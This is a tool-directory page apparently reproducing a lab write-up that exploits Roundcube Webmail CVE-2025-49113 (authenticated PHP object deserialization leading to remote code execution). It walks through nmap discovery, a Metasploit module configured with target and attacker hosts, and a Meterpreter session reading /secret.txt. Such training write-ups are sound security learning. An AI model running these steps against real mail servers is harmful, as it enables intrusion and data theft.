Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
roundcube-cve-2025-49113-lab — Hands-on exploitation lab for Roundcube Webmail CVE-2025-49113 (authenticated PHP object deserialization → RCE) to read /secret.txt. | Kitploit
Tools/GitHubGitHub/ankitpandey383/roundcube-cve-2025-49113-lab
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingPayload Development
Labs & Practice
GitHubankitpandey383/roundcube-cve-2025-49113-lab

roundcube-cve-2025-49113-lab

Hands-on exploitation lab for Roundcube Webmail CVE-2025-49113 (authenticated PHP object deserialization → RCE) to read /secret.txt.

View Repository
2011 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

"DISCLAIMER: Educational Use Only"

Roundcube Webmail RCE – CVE-2025-49113 Lab

This repository documents my step-by-step exploitation of Roundcube Webmail CVE-2025-49113 in a controlled lab to obtain the secret stored in /secret.txt.

⚠️ Disclaimer
All work was performed against a lab / training environment that I am authorised to test.
Do not use these techniques against systems you do not own or administrate.

Challenge

Roundcube Webmail is a browser-based, open-source PHP email client that connects to mailboxes via IMAP and sends mail via SMTP. It commonly runs on Apache or Nginx with MySQL/PostgreSQL/SQLite and is widely used in shared hosting environments.

Vulnerability – CVE-2025-49113

All Roundcube versions up to and including 1.6.10 (and 1.5.x before 1.5.10) contain a critical bug in program/actions/settings/upload.php. The _from parameter is not properly validated, which allows an authenticated attacker to trigger unsafe PHP object deserialization and achieve remote code execution with web server privileges.

Lab credentials:

  • Username: roundcube
  • Password: rcpass

Goal:

What is the secret inside the /secret.txt file?

Lab Environment

  • Attacker host: Kali / HackerBox with:
    • nmap
    • msfconsole (Metasploit 6)
  • Target host: Roundcube Webmail on 172.20.2.57
  • Exploit used: exploit/multi/http/roundcube_auth_rce_cve_2025_49113

Walkthrough

Step 1 – Service discovery with Nmap

Command: nmap -sV Target Machine

Step 2 - Locating a PHP object deserialization exploit in Metasploit

search php object deserialization

Step 3 - Configuring the Roundcube exploit module

msf6 > use exploit/multi/http/roundcube_auth_rce_cve_2025_49113 msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set RHOSTS Target Machine msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set LHOST Kali Machine msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set USERNAME Target Machine msf6 exploit(multi/http/roundcube_auth_rce_cve_2025_49113) > set PASSWORD Target Machine

Step 4 - Getting a Meterpreter session and reading /secret.txt

meterpreter > cat /secret.txt

Download Tool